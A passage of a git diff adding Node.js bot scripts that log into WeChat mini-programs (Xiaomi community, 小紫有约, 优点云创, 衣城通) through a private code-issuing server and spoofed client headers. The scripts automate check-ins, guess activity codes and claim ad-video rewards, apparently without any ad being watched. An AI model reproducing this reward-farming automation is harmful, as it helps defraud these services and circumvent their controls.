for (const line of sc) { + const seg = String(line).split(";")[0]; + const eq = seg.indexOf("="); + if (eq < 0) continue; + const name = seg.slice(0, eq).trim(); + const val = seg.slice(eq + 1).trim(); + if (name) this.map[name] = val; + } + } + set(name, val) { this.map[name] = String(val); } + get(name) { return this.map[name]; } + header() { return Object.entries(this.map).map(([k, v]) => `${k}=${v}`).join("; "); } +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.jar = new CookieJar(); + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + // 取微信 getUserInfo 加密资料(小米登录前需把它写进 userInfo cookie,否则 tokenLogin 302 无法签发会话) + async getUserInfoBlob() { + try { + const res = await axios.post(`${wechat.serverUrl}/wx/getuserinfo`, { appid: MINI_APP_ID, openid: this.account.openid }, + { headers: { auth: wechat.auth }, timeout: 20000, validateStatus: () => true }); + const d = res.data && res.data.data; + if (!res.data || res.data.status === false || !d || !d.encryptedData) return null; + let profile = {}; try { profile = JSON.parse(d.data); } catch (e) {} + // rawData 用微信原样返回串(保持 signature 有效);cloud_id → cloudID + return { cloudID: d.cloud_id, encryptedData: d.encryptedData, iv: d.iv, signature: d.signature, userInfo: profile, rawData: d.data, errMsg: "getUserInfo:ok" }; + } catch (e) { return null; } + } + async req(method, url, { form, params, allowRedirect = true } = {}) { + const headers = { + "User-Agent": UA, + Referer: REFERER, + Origin: "https://servicewechat.com", + Accept: "*/*", + }; + const cookie = this.jar.header(); + if (cookie) headers.Cookie = cookie; + let data; + if (form) { + headers["Content-Type"] = "application/x-www-form-urlencoded"; + data = new URLSearchParams(form).toString(); + } + const res = await axios.request({ + method, url, data, params, + headers, + timeout: 20000, + responseType: "text", + transformResponse: (r) => r, + maxRedirects: allowRedirect ? 5 : 0, + validateStatus: () => true, + }); + this.jar.setFromResponse(res); + if (DEBUG) this.log(` «${method} ${url.replace(/^https?:\/\/[^/]+/, "")}» HTTP ${res.status} :: ${short(res.data, 260)}`); + return res; + } + + // ── 登录:纯 wx code(+微信userInfo) → wxSToken → passToken → serviceLogin → STS → wx_vip_ph ── + async login() { + const code = await this.getCode(); + const userInfoBlob = await this.getUserInfoBlob(); + this.jar.set("deviceId", `wp_${$.uuid()}`); + + // 1) 微信 code 换 wxSToken + const r1 = await this.req("POST", `${ACCOUNT}/pass/sns/wxapp/v2/code`, { + form: { code, appid: MINI_APP_ID, sid: SID, userInfo: "true", _locale: "zh_CN" }, + }); + const b1 = parseXiaomiJson(r1.data); + if (b1.code !== 0) { + const desc = b1.description || b1.desc || b1.message || short(b1); + throw new Error(`NO_ACCOUNT:微信换取小米登录票据失败(code=${b1.code}, ${desc})`); + } + const wxSToken = b1.data && b1.data.wxSToken; + if (!wxSToken) throw new Error(`NO_ACCOUNT:小米登录响应缺少 wxSToken: ${short(b1)}`); + this.jar.set("wxSToken", wxSToken); + // 关键:把微信 userInfo 写进 cookie,tokenLogin 才会返回 JSON 会话(缺它会 302) + if (userInfoBlob) this.jar.set("userInfo", encodeURIComponent(JSON.stringify(userInfoBlob))); + + // 2) 建立小米账号会话(返回 passToken;老账号可能 302,退回本地缓存) + const r2 = await this.req("POST", `${ACCOUNT}/pass/sns/wxapp/v3/tokenLogin`, { + form: { sid: SID, appid: MINI_APP_ID, callback: "", authType: "1", wxSToken, _locale: "zh_CN" }, + allowRedirect: false, + }); + let session = {}; + if (r2.status >= 300 && r2.status < 400) { + const cached = readCache()[this.account.openid] || {}; + if (!cached.passToken || !cached.userId) { + throw new Error("小米账号已有登录态但本地缺少首登票据,请在真机小程序登录一次以生成缓存后再跑"); + } + session = cached; + this.log("已加载本地缓存会话票据"); + } else { + const b2 = parseXiaomiJson(r2.data); + if (!b2.passToken) { + // 常见账号态:用户不存在 / 未设置密码(微信绑定的小米账号未完成注册激活) + if (b2.code === 20003) throw new Error(`NO_ACCOUNT:小米账号不存在(20003 ${b2.description || "用户不存在"})`); + if (b2.code === 24023) throw new Error(`NOT_ACTIVATED:小米账号未设置密码(24023 用户密码未设置)`); + throw new Error(`小米会话建立失败: ${short(b2)}`); + } + session = { passToken: b2.passToken, userId: b2.userId, cUserId: b2.cUserId }; + const cache = readCache(); + cache[this.account.openid] = { ...session, updatedAt: new Date().toISOString() }; + writeCache(cache); + } + for (const k of ["passToken", "userId", "cUserId"]) { + if (session[k]) this.jar.set(k, session[k]); + } + + // 3) serviceLogin 拿 STS 跳转地址 + const r3 = await this.req("GET", `${ACCOUNT}/pass/serviceLogin`, { + params: { sid: SID, _json: "true", _locale: "zh_CN" }, + }); + const b3 = parseXiaomiJson(r3.data); + const stsUrl = b3.location; + if (b3.code !== 0 || !stsUrl) throw new Error(`serviceLogin 失败: ${short(b3)}`); + + // 4) STS 登录,拿 wx_vip_ph 社区会话票据 + const r4 = await this.req("GET", stsUrl); + const b4 = parseXiaomiJson(r4.data); + if (b4.S !== "OK") throw new Error(`STS 登录失败: ${short(b4)}`); + const ph = this.jar.get("wx_vip_ph"); + if (!ph) throw new Error(`STS 未返回 wx_vip_ph: ${short(b4)}`); + this.ph = ph; + this.log("登录成功"); + } + + // ── 业务:查询 + 签到 ── + async apiGet(apiPath) { + const res = await this.req("GET", `${BASE}${apiPath}`, { params: { wx_vip_ph: this.ph } }); + return parseXiaomiJson(res.data); + } + async apiPostForm(apiPath, form) { + const res = await this.req("POST", `${BASE}${apiPath}`, { params: { wx_vip_ph: this.ph }, form }); + return parseXiaomiJson(res.data); + } + async sign() { + const status = await this.apiGet("/mtop/planet/wechat/checkin/mypagedata"); + if (status.code === 401) throw new Error("SESSION_INVALID:小米登录态无效"); + const buttons = (status.entity && status.entity.data) || []; + const already = Array.isArray(buttons) && buttons.some( + (item) => item && item.title === "每日签到" && + ((item.buttons && item.buttons[0] && item.buttons[0].button) === "已签到") + ); + if (already) return this.log("✅ 今日已签到,无需重复执行"); + + const res = await this.apiPostForm("/mtop/planet/wechat/member/addCommunityGrowUpPointByActionV2", { action: "WECHAT_CHECKIN_TASK" }); + if (res.message === "success") { + const entity = res.entity || {}; + return this.log(`✅ 签到成功${entity.title ? `,${entity.title}` : ",获得成长值"}`); + } + const msg = res.message || res.description || res.desc || short(res); + if (/已签|签到过|重复|已完成/.test(String(msg))) return this.log(`✅ 今日已签到(${msg})`); + this.log(`❌ 签到失败: ${msg}`); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.login(); + await this.sign(); + } catch (e) { + const m = String(e.message || e); + if (m.startsWith("NO_ACCOUNT")) { + this.log(`⚠️ 该微信号尚未注册小米账号/社区,请先在小程序里用微信登录并完成注册再跑。详情:${m.replace(/^NO_ACCOUNT:/, "")}`); + return; + } + if (m.startsWith("NOT_ACTIVATED")) { + this.log(`⚠️ 微信绑定的小米账号未激活(未设置密码),请在小米社区/账号中心完成账号设置后再跑。详情:${m.replace(/^NOT_ACTIVATED:/, "")}`); + return; + } + this.log(`执行失败: ${m}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/xzyy.js b/wxapp/xzyy.js new file mode 100644 index 00000000..000cc378 --- /dev/null +++ b/wxapp/xzyy.js @@ -0,0 +1,226 @@ +/* +------------------------------------------ +@Description: 小紫有约 - 微信小程序静默登录 + 每日签到 +cron: 35 8 * * * +------------------------------------------ +变量名:xzyy +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx3db193ecdebd3fea,host sxkyziqidonglai.cn): +(迁移自 YYB-GO 系脚本,原脚本已 code 登录) + +登录 GET /api/platform/wechatAuthenticate?code&channelCode&siteId&deviceHash + -> success && status==200,data.sessionId;session 放 cookie: SESSION= + (msg「请用手机号登录完善用户信息」= 未做手机号注册,签到会 401 身份校验失败) +用户 POST /api/mobile/eShop/eshopVipUser/getUserInfo (form) {siteId} -> status200,data.phone/balance;401=未登录/未注册 +签到 POST /api/mobile/activity-v2/activity/launchByValidater (json) {actCode, siteId} + -> status==200 成功;status==412 且含「已完成签到」= 已签 +actCode:按月生成候选 SG{YY}{上月}{0-9} 逐个探测(原脚本机制,每月缓存)。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("小紫有约签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "xzyy"; +const MINI_APP_ID = "wx3db193ecdebd3fea"; +const HOST = "sxkyziqidonglai.cn"; +const BASE = `https://${HOST}`; +const CHANNEL_CODE = "WXjxriol8e8293wezu"; +const DEVICE_HASH = "lkmtJuKGKQ0_S6Oem6ZIv3YoiHYGgoMf"; +const SITE_ID = "SITE_33254242630091515087"; +const SESSION_CACHE_FILE = path.join(__dirname, "xzyy_token_cache.json"); +const ACTCODE_CACHE_FILE = path.join(__dirname, "xzyy_actcode_cache.json"); +const UA = "Mozilla/5.0 (Linux; Android 12; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/146.0.0.0 Mobile Safari/537.36 MicroMessenger/8.0.5 MiniProgramEnv/android"; + +const API_WX_AUTH = "/api/platform/wechatAuthenticate"; +const API_USER_INFO = "/api/mobile/eShop/eshopVipUser/getUserInfo"; +const API_SIGN = "/api/mobile/activity-v2/activity/launchByValidater"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache(file) { + try { + if (!fs.existsSync(file)) return {}; + return JSON.parse(fs.readFileSync(file, "utf8")) || {}; + } catch (e) { + return {}; + } +} +function writeCache(file, cache) { + try { + fs.writeFileSync(file, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入缓存失败: ${e.message || e}`); + } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +function commonHeaders(session) { + const h = { + "User-Agent": UA, + accept: "application/json, text/plain, */*", + "content-type": "application/json", + origin: BASE, + referer: `${BASE}/mall/personal?siteId=${SITE_ID}&channelCode=${CHANNEL_CODE}`, + "x-requested-with": "com.tencent.mm", + }; + if (session) h.cookie = `SESSION=${session}`; + return h; +} +/** actCode 候选:SG + 两位年 + 上个月 + 0..9(原脚本机制) */ +function generateCandidates() { + const now = new Date(); + let lm = now.getMonth(); // getMonth 是 0..11,即“当前月-1”正好是上个月的月份数 + let year = now.getFullYear(); + if (lm === 0) { lm = 12; year -= 1; } + const y2 = String(year % 100).padStart(2, "0"); + return Array.from({ length: 10 }, (_, i) => `SG${y2}${lm}${i}`); +} +function monthKey() { + const now = new Date(); + return `${now.getFullYear()}-${now.getMonth() + 1}`; +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.session = ""; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async login() { + const code = await this.getCode(); + const res = await axios.request({ + method: "GET", url: `${BASE}${API_WX_AUTH}`, + params: { code, channelCode: CHANNEL_CODE, siteId: SITE_ID, deviceHash: DEVICE_HASH }, + headers: commonHeaders(), timeout: 20000, validateStatus: () => true, + }); + const d = res.data || {}; + if (!(d.success && Number(d.status) === 200) || !(d.data || {}).sessionId) { + throw new Error(`登录失败: ${d.msg || short(d)}`); + } + this.session = d.data.sessionId; + // 「请用手机号登录完善用户信息」= 未做手机号注册 + this.unregistered = /请用手机号登录|完善用户信息/.test(String(d.msg || "")); + const cache = readCache(SESSION_CACHE_FILE); + cache[this.account.openid] = { session: this.session, updatedAt: new Date().toISOString() }; + writeCache(SESSION_CACHE_FILE, cache); + this.log(`登录成功${this.unregistered ? "(该微信号未做手机号注册)" : ""}`); + } + async checkUser() { + const res = await axios.request({ + method: "POST", url: `${BASE}${API_USER_INFO}`, + data: `siteId=${encodeURIComponent(SITE_ID)}`, + headers: { ...commonHeaders(this.session), "content-type": "application/x-www-form-urlencoded" }, + timeout: 20000, validateStatus: () => true, + }); + const rs = res.data || {}; + if (Number(rs.status) === 200) return { ok: true, phone: (rs.data || {}).phone, balance: (rs.data || {}).balance }; + return { ok: false, msg: rs.msg }; + } + async trySign(actCode) { + const res = await axios.request({ + method: "POST", url: `${BASE}${API_SIGN}`, data: { actCode, siteId: SITE_ID }, + headers: commonHeaders(this.session), timeout: 20000, validateStatus: () => true, + }); + const rs = res.data || {}; + const status = Number(rs.status); + const msg = String(rs.msg || ""); + if (rs.success || status === 200) return { done: true, already: false, msg }; + if (status === 412 && /已完成签到/.test(msg)) return { done: true, already: true, msg }; + return { done: false, status, msg }; + } + /** 取本月缓存的 actCode,没有则用候选逐个探测 */ + async resolveActCodeAndSign() { + const cache = readCache(ACTCODE_CACHE_FILE); + const mk = monthKey(); + if (cache.month === mk && cache.actCode) { + const r = await this.trySign(cache.actCode); + if (r.done) return r; + // 缓存失效则重新探测 + } + const candidates = generateCandidates(); + this.log(`探测 actCode(${candidates[0]}..${candidates[candidates.length - 1]})`); + let lastMsg = ""; + for (const act of candidates) { + const r = await this.trySign(act); + lastMsg = r.msg; + if (r.done) { + writeCache(ACTCODE_CACHE_FILE, { month: mk, actCode: act }); + return r; + } + // 身份校验失败=账号未注册,无需继续探测 + if (Number(r.status) === 401) return { done: false, status: 401, msg: r.msg }; + await $.wait(1200, 2000); + } + return { done: false, msg: lastMsg || "未找到有效 actCode" }; + } + async sign() { + const u = await this.checkUser(); + if (!u.ok || this.unregistered) { + return this.log(`⚠️ 该微信号还没在小紫有约做手机号注册(${u.msg || "未登录"}),先在小程序里手机号登录一次再跑`); + } + const r = await this.resolveActCodeAndSign(); + if (r.done && r.already) return this.log(`✅ 今日已签到(${r.msg})`); + if (r.done) return this.log(`✅ 签到成功`); + if (Number(r.status) === 401) return this.log(`⚠️ 身份校验失败(${r.msg}),该微信号可能未完成注册`); + this.log(`❌ 签到失败: ${r.msg}`); + } + async ensureLogin() { + const cached = readCache(SESSION_CACHE_FILE)[this.account.openid] || {}; + if (!this.session && cached.session) { + this.session = cached.session; + // 用 getUserInfo 校验缓存 session 是否仍有效 + const u = await this.checkUser(); + if (u.ok) { this.log("使用缓存session"); return; } + this.session = ""; + } + if (!this.session) await this.login(); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + await this.sign(); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/ydyc.js b/wxapp/ydyc.js new file mode 100644 index 00000000..b4e89e02 --- /dev/null +++ b/wxapp/ydyc.js @@ -0,0 +1,238 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.06.09 +@Description: 优点云创 每日签到/看广告视频/信息查询 +cron: 24 8 * * * +------------------------------------------ +变量名:ydyc +变量值:wx_server 里的 openid,多账号用 & 或换行 + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const axios = require("axios"); + +const $ = new Env("优点云创"); + +const CK_NAME = "ydyc"; +const APP = { name: "优点云创", appid: "wx96eb3beaea480465", version: 1 }; +const WX_SERVER_URL = (process.env.wx_server_url || "http://192.168.31.196:8787").replace(/\/$/, ""); +const WX_AUTH = process.env.wx_auth || ""; +const API_URL = "https://youdianyunchuan.weimbo.com/api/index.php?ackey=GZYTAPPLET"; +const USER_AGENT = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +function splitAccounts(value = "") { + return String(value) + .split(/\n|&/) + .map((item) => item.trim()) + .filter(Boolean); +} + +function short(value, max = 500) { + if (value === undefined || value === null) return ""; + const text = typeof value === "string" ? value : JSON.stringify(value); + return text.length > max ? `${text.slice(0, max)}...` : text; +} + +function parseAccount(raw = "") { + const text = String(raw || "").trim(); + if (!text) return {}; + if (text.startsWith("{")) { + const data = JSON.parse(text); + return { openid: data.openid || data.openId || "", remark: data.remark || data.name || "" }; + } + const [openid, remark] = text.split("#").map((item) => item.trim()); + return { openid, remark }; +} + +function parseProgress(title = "") { + const match = String(title || "").match(/\((\d+)\s*\/\s*(\d+)\)/); + if (!match) return null; + return { done: Number(match[1]), total: Number(match[2]) }; +} + +function findTask(info = {}, keyword = "") { + const list = Array.isArray(info.adv_arr) ? info.adv_arr : []; + return list.find((item) => String(item.title || "").includes(keyword)) || null; +} + +async function request(options) { + const res = await axios.request({ + timeout: 25000, + validateStatus: () => true, + ...options, + headers: { + "User-Agent": USER_AGENT, + Accept: "application/json, text/plain, */*", + "content-type": "application/json", + Referer: `https://servicewechat.com/${APP.appid}/${APP.version}/page-frame.html`, + ...(options.headers || {}), + }, + }); + return { status: res.status, data: res.data, headers: res.headers || {} }; +} + +async function getWxCode(openid) { + if (!WX_AUTH) throw new Error("未配置 wx_auth,无法从 wx_server 获取 code"); + const { status, data } = await request({ + method: "POST", + url: `${WX_SERVER_URL}/wx/code`, + headers: { auth: WX_AUTH }, + data: { appid: APP.appid, openid }, + }); + const code = data?.data?.code || data?.code; + if (status !== 200 || !code) throw new Error(`获取 code 失败 HTTP ${status}: ${short(data)}`); + return code; +} + +class YouDianYunChuang { + constructor(rawAccount, index) { + this.index = index; + this.account = parseAccount(rawAccount); + this.session = ""; + this.openid = ""; + } + + log(message) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${message}`); + } + + async api(data = {}) { + const { status, data: result } = await request({ + method: "POST", + url: API_URL, + headers: { "3rdSession": this.session || "" }, + data, + }); + if (status !== 200) throw new Error(`${data.action || "接口"} HTTP ${status}: ${short(result)}`); + return result; + } + + async call(data = {}) { + const result = await this.api(data); + if (!result?.Status) throw new Error(`${data.action || "接口"} 失败: ${short(result?.Data || result)}`); + return result.Data; + } + + async login() { + if (!this.account.openid) throw new Error("账号格式错误,请配置 wx_server 里的 openid"); + const code = await getWxCode(this.account.openid); + const data = await this.call({ action: "WxLogin", code }); + this.session = data.r3dkey || ""; + this.openid = data.openid || ""; + if (!this.session) throw new Error(`登录响应缺少 r3dkey: ${short(data)}`); + this.log(`登录成功 openid=${this.openid || "未知"}`); + } + + async queryUser() { + const data = await this.call({ action: "userInfoData" }); + const user = data.user || {}; + const money = data.u_money || {}; + this.log( + `用户信息: ${user.id || ""} ${user.name || ""},积分: ${money.jifen ?? 0},金币: ${money.jinbi ?? 0},红包: ${ + money.hongbao ?? 0 + },佣金: ${money.yongjin ?? 0},优惠券: ${money.yhquan ?? 0}` + ); + return data; + } + + async querySignInfo() { + const data = await this.call({ action: "getIntegralInfo", type: "sign" }); + const signTask = Array.isArray(data.sign_arr) ? data.sign_arr.map((item) => `${item.status === "1" ? "已签" : "未签"}:${item.score}`).join(", ") : ""; + this.log(`签到信息: 积分=${data.user_jf ?? 0},${data.qiands || ""}${signTask ? `,签到档位: ${signTask}` : ""}`); + return data; + } + + async queryIntegralInfo(type = "") { + const data = await this.call({ action: "getIntegralInfo2", type }); + const signTask = findTask(data, "每日签到"); + const adTask = findTask(data, "看广告视频"); + this.log( + `任务进度: 积分=${data.user_jf ?? 0},${signTask?.title || "每日签到 -"},${adTask?.title || "看广告视频 -"}` + ); + return data; + } + + async doSignOnce() { + const result = await this.api({ action: "userQiandao" }); + if (result?.Status) { + const data = result.Data || {}; + this.log(`签到结果: 成功,获得 ${data.add_jf ?? "-"} 积分,当前积分 ${data.user_jf ?? "-"}`); + return true; + } + this.log(`签到结果: ${short(result?.Data || result)}`); + return false; + } + + async doAdRewardOnce() { + const result = await this.api({ action: "IntegralGiveReward" }); + if (result?.Status) { + this.log(`广告视频结果: ${short(result.Data)}`); + return true; + } + this.log(`广告视频结果: ${short(result?.Data || result)}`); + return false; + } + + async runSign() { + const info = await this.queryIntegralInfo(); + const task = findTask(info, "每日签到"); + const progress = parseProgress(task?.title); + if (progress && progress.done >= progress.total) return this.log("签到任务: 今日次数已完成"); + + await this.querySignInfo(); + await this.doSignOnce(); + } + + async runAdRewards() { + for (let i = 0; i < 3; i++) { + const info = await this.queryIntegralInfo(i === 0 ? "" : "jifen"); + const task = findTask(info, "看广告视频"); + const progress = parseProgress(task?.title); + if (progress && progress.done >= progress.total) { + this.log("广告视频任务: 今日次数已完成"); + return; + } + const ok = await this.doAdRewardOnce(); + if (!ok) return; + await $.wait(1000, 2000); + } + } + + async run() { + try { + this.log(`开始执行 ${APP.name}`); + await this.login(); + await this.queryUser(); + await this.runSign(); + await this.runAdRewards(); + await this.queryIntegralInfo("jifen"); + await this.queryUser(); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +async function main() { + $.checkEnv(CK_NAME); + if (!$.userCount) { + $.log(`未找到变量 ${CK_NAME}`); + return; + } + for (let i = 0; i < $.userList.length; i++) { + const task = new YouDianYunChuang($.userList[i], i + 1); + await task.run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +} + +main() + .catch((e) => $.log(`脚本异常: ${e.message || e}`)) + .finally(() => $.done()); diff --git a/wxapp/yichengtong.js b/wxapp/yichengtong.js new file mode 100644 index 00000000..6cfbd789 --- /dev/null +++ b/wxapp/yichengtong.js @@ -0,0 +1,409 @@ +/* +衣城通 - 签到/每日任务/查询 +cron: 20 8 * * * + +变量名:yichengtong +变量值: + 1. wx_server 中保存的 openid/账号标识,多账号用 & 或换行分隔 + 2. openid#token,可直接写入/刷新本地缓存 + 3. 仅 token,也可查询/签到 + 4. JSON:{"openid":"...","token":"..."} + +依赖变量:wx_server_url、wx_auth +可选变量:yichengtong_token(单账号 token 兜底) +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("衣城通"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "yichengtong"; +const MINI_APP_ID = "wxc4eaf0fd0c97862f"; +const PACKAGE_VERSION = "138"; +const API_BASE = "https://api.yctjob.com"; +const TOKEN_CACHE_FILE = path.join(__dirname, "yichengtong_token_cache.json"); +const TASK_FUNC_TYPE = { + lookpost: 1, + sharepost: 2, + improveresume: 3, + adddesktop: 4, + addmymini: 5, + lookmerchant: 6, + lookclothing: 7, + invitecolleagues: 8, +}; +const AUTO_TASK_TYPES = new Set([ + TASK_FUNC_TYPE.lookpost, + TASK_FUNC_TYPE.sharepost, + TASK_FUNC_TYPE.lookmerchant, + TASK_FUNC_TYPE.lookclothing, +]); + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "your-api-key", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch { + return {}; + } +} + +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`token缓存写入失败: ${e.message || e}`); + } +} + +function md5(text) { + return crypto.createHash("md5").update(String(text)).digest("hex"); +} + +function mask(value = "") { + value = String(value); + if (!value) return ""; + if (value.length <= 12) return `${value.slice(0, 3)}***`; + return `${value.slice(0, 6)}***${value.slice(-6)}`; +} + +function parseAccount(raw) { + const text = String(raw || "").trim(); + if (!text) return {}; + + if (text.startsWith("{")) { + try { + const data = JSON.parse(text); + return { + openid: data.openid || data.openId || data.account || "", + token: data.token || data.Authorization || data.authorization || "", + }; + } catch {} + } + + for (const sep of ["#", "|"]) { + if (text.includes(sep)) { + const [openid, ...rest] = text.split(sep); + return { openid: openid.trim(), token: rest.join(sep).trim().replace(/^Bearer\s+/i, "") }; + } + } + + if (text.startsWith("eyJ") || text.length > 80) return { token: text.replace(/^Bearer\s+/i, "") }; + return { openid: text }; +} + +function ok(res) { + return Number(res?.code) === 200; +} + +function taskSummary(list = []) { + return list + .map((item) => `${item.name || item.title || item.id || "任务"} ${item.completeCount ?? 0}/${item.num ?? 1}`) + .join(";"); +} + +function taskName(task = {}) { + return task.name || task.title || `任务${task.id || task.configId || ""}`; +} + +async function request(method, urlPath, { token = "", data = null, params = null, custom = {} } = {}) { + const res = await axios({ + method, + url: `${API_BASE}${urlPath}`, + data, + params, + timeout: 30000, + validateStatus: () => true, + headers: { + Accept: "*/*", + "Content-Type": "application/json", + "User-Agent": "Mozilla/5.0 MicroMessenger MiniProgramEnv/Windows", + Referer: `https://servicewechat.com/${MINI_APP_ID}/${PACKAGE_VERSION}/page-frame.html`, + ...(token ? { Authorization: `Bearer ${token}` } : {}), + }, + ...custom, + }); + return { + status: res.status, + data: res.data, + text: typeof res.data === "string" ? res.data : JSON.stringify(res.data), + }; +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + const account = parseAccount(raw); + this.openid = account.openid || ""; + this.token = account.token || process.env.yichengtong_token || ""; + this.wxInfo = {}; + this.userInfo = {}; + this.cacheKey = this.openid || (this.token ? md5(this.token).slice(0, 16) : `account_${this.index}`); + } + + getCached() { + return readCache()[this.cacheKey] || {}; + } + + saveCache(extra = {}) { + const cache = readCache(); + cache[this.cacheKey] = { + ...(cache[this.cacheKey] || {}), + ...(this.openid ? { openid: this.openid } : {}), + ...(this.token ? { token: this.token } : {}), + ...(this.userInfo?.userId ? { userId: this.userInfo.userId } : {}), + ...(this.userInfo?.mobile ? { mobile: this.userInfo.mobile } : {}), + ...extra, + updatedAt: new Date().toISOString(), + }; + writeCache(cache); + } + + removeToken() { + const cache = readCache(); + if (cache[this.cacheKey]) { + delete cache[this.cacheKey].token; + writeCache(cache); + } + } + + async getWxCode() { + if (!this.openid) throw new Error("缺少 openid,无法从 wx_server 获取 code"); + const { data } = await wechat.getCode(this.openid); + if (!data?.status) throw new Error(data?.message || "wx_server 获取 code 失败"); + const code = data.data?.code || data.code; + if (!code) throw new Error(`wx_server 未返回 code: ${JSON.stringify(data)}`); + return code; + } + + async getOperateData() { + if (!this.openid) throw new Error("缺少 openid,无法从 wx_server 获取授权数据"); + const { data } = await axios.post( + `${wechat.serverUrl}/wx/getuserinfo`, + { appid: MINI_APP_ID, openid: this.openid }, + { + headers: { auth: wechat.auth }, + timeout: 30000, + validateStatus: () => true, + } + ); + if (!data?.status) throw new Error(data?.message || "wx_server 获取 operatedata 失败"); + const info = data.data || {}; + if (!info.code || !info.iv || !info.encryptedData) { + throw new Error(`wx_server operatedata 缺少必要字段: ${JSON.stringify(data)}`); + } + return info; + } + + async loginByCode() { + const code = await this.getWxCode(); + const session = await request("post", "/client/web/wechatSession", { + params: { code }, + data: {}, + }); + if (session.status !== 200 || !ok(session.data)) { + throw new Error(`wechatSession失败[${session.status}]: ${session.text.slice(0, 500)}`); + } + const data = session.data.data || {}; + this.wxInfo = data.wxInfo || {}; + this.userInfo = data.userInfo || {}; + if (this.wxInfo.openid && !this.openid) this.openid = this.wxInfo.openid; + const token = this.userInfo.token || data.token || ""; + if (!token) return false; + this.token = token; + this.saveCache({ loginType: "wechatSession" }); + $.log(`账号[${this.index}] code登录成功: ${mask(this.userInfo.userId || this.token)}`); + return true; + } + + async loginByOperateData() { + const op = await this.getOperateData(); + const session = await request("post", "/client/web/wechatSession", { + params: { code: op.code }, + data: {}, + }); + if (session.status === 200 && ok(session.data)) { + const data = session.data.data || {}; + this.wxInfo = data.wxInfo || {}; + this.userInfo = data.userInfo || {}; + } + const wxInfo = this.wxInfo || {}; + const login = await request("post", "/client/web/wechatLogin", { + data: { + openId: wxInfo.openid || wxInfo.openId || this.openid, + unionId: wxInfo.unionid || wxInfo.unionId || "", + sessionKey: wxInfo.sessionKey || wxInfo.session_key || "", + encryptedData: op.encryptedData, + iv: op.iv, + pcSn: "", + sourceType: 0, + shareId: null, + userUuid: null, + registerType: 1, + }, + }); + if (login.status !== 200 || !ok(login.data)) { + throw new Error(`wechatLogin失败[${login.status}]: ${login.text.slice(0, 800)}`); + } + this.userInfo = login.data.data || {}; + this.token = this.userInfo.token || ""; + if (!this.token) throw new Error(`wechatLogin未返回token: ${login.text.slice(0, 500)}`); + this.saveCache({ loginType: "wechatLogin" }); + $.log(`账号[${this.index}] 授权登录成功: ${mask(this.userInfo.userId || this.token)}`); + } + + async ensureLogin() { + const cached = this.getCached(); + this.token = this.token || cached.token || ""; + 